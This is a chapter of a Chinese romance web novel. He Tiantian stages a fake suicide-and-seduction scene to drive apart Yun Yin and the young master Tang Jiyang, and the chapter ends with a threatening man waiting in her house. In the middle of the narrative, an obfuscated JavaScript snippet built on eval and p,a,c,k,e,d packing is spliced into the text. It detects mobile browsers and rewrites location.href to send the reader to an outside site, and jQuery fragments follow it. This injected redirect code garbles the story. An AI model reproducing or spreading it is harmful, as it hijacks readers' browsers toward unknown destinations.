除了制髓液妆粉,云洇大部分时间都待在院子里,百无聊赖地看感兴趣的杂记,味同嚼蜡地吃无甚滋味的饭食。
因此被敲响的木门,成了她无趣生活中的一个插曲,就算打开门来看见的是何田田,也是不错的。
“如果又来要髓液妆粉,我这没有。”云洇开门见山道。
“不是来找你要这些东西的。这次来,是想带你去看戏。”
何田田一脸不怀好意,那看戏便不是字面上的意思了。云洇皱眉:“看谁的戏?”
“跟我走就是。”何田田呵笑一声:“记得多带几条手帕,省得到时泪沾湿了衣裳。”
……
沉默地又看了眼云洇所带着的一整个锦盒,何田田终于忍不住开了口:“这里面全是手帕?”
云洇颔首:“不是你让我多带点的吗?”
……这么多,她对那唐少爷的感情得有多深?
何田田心中有些不屑,也好,哭得越惨,也就越失望,她俩自然也就再不可能在一起。
云洇被带到了水鬼坡的老柳树旁,还未走近,她就见昏黄夕阳下,一男一女拥在一起,那姑娘哭得梨花带雨,男子背对着她,看身形赫然就是唐季扬。
老柳上一根粗绳垂下,显然是这女子不知因何想不开而欲轻生,却在毅然赴死时被人救下,几番安抚,终于重燃生的希望。
轻风拂柳枝,南水颂情意。在这个稀松平常的傍晚,少男少女,均遇上了自己的一生挚爱。
……她没事吧?
云隐扭头,右眼皮因极度无语而狂跳,出声打断了声情并茂当着旁白的何田田:“何姐姐,我有眼睛,不必你解释。”
何田田斜眼睨她,唐少爷都与禾儿抱上了,竟还沉得住气,小小年纪,倒也算厉害。
不过还没结束呢,待禾儿彻底发力,让云洇看看她的情郎究竟是什么德性!
收到田田的信号,禾儿泪流得更凶,身子一歪,便柔弱无力地朝地上倒去。
“公子救我!”
双手一直撑着女子两肩,防止她倒在自己怀里的唐季扬见她又不期然往侧边一倒,已彻底失去了耐心,手一松,甚至往后退了几步,不再管她到底要倒到哪去。
与松软的泥土来了个亲密无间地接触,禾儿在心里怒吼:老娘的新衣服!竟敢不扶她!
但面上却不敢显露,反而对唐季扬娇嗔:“公子怎么一点也不怜香惜玉?禾儿摔得多疼!”
“禾、儿?”唐季扬轻轻念出这两个字,禾儿窃喜,这小子终于上勾了。
“没错,公子以后叫我禾儿就好。”
“这样……不太合适吧?”唐季扬推脱,禾儿当他害羞,暗忖明明已经迫不及待了,还装什么装?真是臭男人!
她朝他抛了个媚眼,柔声道:“是公子将心如死灰的禾儿救下,不过一个称呼而已,没什么不好。”
心如死灰,会扯着那绳子半天不上吊,还中气十足、面色红润地朝自己喊救命?救下后,又是投怀送抱又是矫揉造作,又想做什么?
唐季扬握紧拳,骨骼摩擦时“咯吱”作响。可恶的刘水生,要不是他将自己推下来,误打误撞阻止了她轻生,自己何需在此应付这女人?近日本就心情不好,既撞到了枪口上,可就别怪他了!
他若有所思扫过禾儿半掩在裙下的一双手,语气无辜道:“我说的不合适,是指您比我大上不少,再怎么样,也该称呼声姨吧?哪能直呼乳名?这样吧,以后晚辈就叫您禾姨,行吗?禾姨?”
“禾姨”二字,像尖锐的石子般敲在陈禾的心窝上,都已经喊上了还问什么问!还有她哪里老了?死小子竟敢讽刺她!
陈禾嘴角抽搐:“瞧公子说得什么话?俗话说,女大三,抱金砖,再说禾儿也没比公子大几岁……”
“那是能抱几块金砖?三块、还是四块?”
唐季扬打量着陈禾一张脸,露齿一笑:“看起来是四块。禾姨还是快些起来,水鬼坡埋了这么多尸骨,您保养得这么好,可别被哪个老光棍看上了。”
忍。
她忍。
她忍不了了!!!
陈禾翻身而起,再不复先前柔弱模样,双眼冒火,叉腰大骂,活脱脱一个泼辣娘子:“你个不长眼的臭小子,胡言乱语的搅屎棍,你去打听打听,十里八乡哪个人不夸我陈禾一句沽酒西施,芳年二十五还沉鱼落雁,一点不比那些个十五六岁的丫头片子差。老娘对你投怀送抱,是你的荣幸!你还嫌弃起老娘来了?”
在街上沽酒多年,陈禾火爆的脾气一经沉淀,更加火爆,生起气来,将田田嘱咐她勾引唐季扬的事忘得一干二净,撸起袖子就要将老柳上的绳子拿下抽他。
她不知唐季扬身份,何田田却知。担心禾儿惹祸上身,她沉着脸飞快走过去,将气头上的禾儿安抚下来:“禾儿,别冲动。”
“田田你先去一旁呆着!待我教训他再说!”
陈禾怒火滔天,何田田在她耳边低语:“他是望京的少爷,我们惹不起!再说我叫你来引诱他,你打他干什么!”
少爷?陈禾一愣,沸腾的血液迅速冷却,难怪总觉得这小子虽穿一身麻衣,却和县里那些个男人不一样,感情是贵人啊!
陈禾急了:“你疯了,人家眼高于顶,能看上我这个沽酒女?”
何田田一脸认真:“你是我见过最好看的姑娘,看不上你能看上谁?”
“田田!老说实话干什么......”
陈禾立即被哄好,害臊地打她,何田田“嘘”了声,目光锐利:“小声点,别让那小子听见。”
什么都听见了好么......
这大婶不是上回在云洇家门口大喊大叫的入殓师吗?闲得没事干,和那女人合伙耍他?
唐季扬憋了满肚子火,就听后方一人喊道:“何姐姐,这就是你说的好戏?”
是云洇,他想,他顿时什么也不想说了。
何田田没立即回答,脸色并不好看,本想靠禾儿的美人计暴露唐季扬好色下流的真面目,以此将她们二人拆散,却没想到这小子不为所动,真是冠冕堂皇!
她牵着禾儿走到云洇身边,撂下狠话:“你等着,我会拆散你们!”
......云洇沉默片刻,哼笑一声:“你就是因为这个才带我来?”
何田田脸色铁青,点了点头,陈禾有些呆,看着云洇入了神。
田田她是什么眼光?有这么位出水芙蓉般的小姑娘站在面前,她怎好说自己是全天下最好看的女子?
“我没说你是全天下最好看的女子。”何田田突然开口,陈禾一惊,臆想烟消云散。
属蛔虫的?竟然知道自己心里想什么?
云洇不知道她们在说些什么,只淡淡道:“若是如此,你的目的已经达成了,我们如今形同陌路。”
何田田皱眉,显然不信:“为何?”
“与你无关。”
云洇视线追随着唐季扬,见他避开她们离开,追了上去:“唐公子,这个还你。”
唐季扬低头,一眼认出那是在虔州分别时自己偷偷塞进云洇包袱中的手帕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791803|166437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他一挑眉,十分疑惑,语气客气而疏离:“云姑娘,我可没送过你东西,你可不要诬陷我。”
......拿她的话来堵她么?云洇微垂下头,扯出个笑:“是么?那大概是我记错了,既如此,我就丢了。”
“随你。若无其他事,我就先走了。”唐季扬答得毫不犹豫,目不斜视地绕过她离开,特意隔了些距离,生怕撞上她肩,和她扯上什么关系。
看着这一幕,陈禾说:“田田,看她们间的别扭劲,确实像分开了。”
何田田哼一声,眉目间尽是过来人的沧桑:“先看看再说。”
“还有什么好看”
何田田让她住嘴,带着人猫腰躲到一边,就见云洇形单影只,望着那锦盒看了许久,终于走到了河边。
河流湍急,少女背影有些萧瑟,影子被落日余晖拉得极长。云洇抓着锦盒的手,松了又松,似乎难以抉择,到最后,她仰头叹了口气,还是将那锦盒放到了老柳树下。
等着有缘人将它捡走吧。云洇想,没了手帕,她便可彻彻底底与唐季扬斩断关系。
“田田,她走了,我将那锦盒捡回来?里面肯定是好东西!”陈禾看得眼红,心中贪念被勾起,挠得她心痒难耐。
何田田极沉得住气,死死盯着柳树下那古朴的木盒,扯住她:“等一下!”
再等都要被别人捡走了!陈禾心焦地想着,她再默数十下,若还是什么也没发生,她就立马将那锦盒收入囊中。
一、
二、
三、
四、
......
硕大的太阳已几乎落下,给远处绵延的山渡上一层金边。
当离开的少女又折返回来时,陈禾浮躁的心渐渐平静下来,她见姑娘俯下身,小心翼翼拍了拍上面的灰尘,接着便抱在怀中一脸纠结又懊恼地小跑离开。
“田田,你直觉还真准呐......”
何田田脸上无一丝意外,指了指云洇离开的相对方向,示意陈禾再看。
于是她就又见远处的田垄上,本早该离去的少年静静站在那,站在一片摇曳的麦穗旁。
仅存的日光遮盖了他的脸,让人看不清神色,亦让人猜不透他此时此刻内心的想法。
陈禾了然,什么形同陌路?这分明是吵了架在闹脾气。
她举起大拇指,用气音赞扬何田田:“高,实在是高!”
何田田没露出一点猜对后的喜悦,似是回忆起往昔,尽是知晓一切的淡然。
还没分开又有什么用?她一日是入殓师,便一日得不到幸福。
天下哪个男人,都是一样的。
无论是他,还是他。
与陈禾道别后回去的路上,何田田眉眼又变得冷寂。
见家中烛火已点,隔着纸窗泛着微光,她道又是刘水生来找自己,便没有防备地推开了门。
“你今日回去吧,我没有兴致。”
刚说完,何田田换鞋的空档,就听屋内传来阵低笑,那人舔着唇,带着极度的暴戾:“臭婊子,没离开多久,就又找了下家?”
这男人发出的声音很低,有道门隔挡,其实听得并不分明。
何田田却仿若石化,紧接着全身都抖了起来,像是见到了什么洪水猛兽,牙关止不住打颤。
——这人的声音,早已如烙印般刻在了她脑中。
不堪的过往如潮水般席卷而来,何田田呼吸不颤,几乎都要窒息,心里说着快逃,却一点也动弹不了。
他终于是找来了。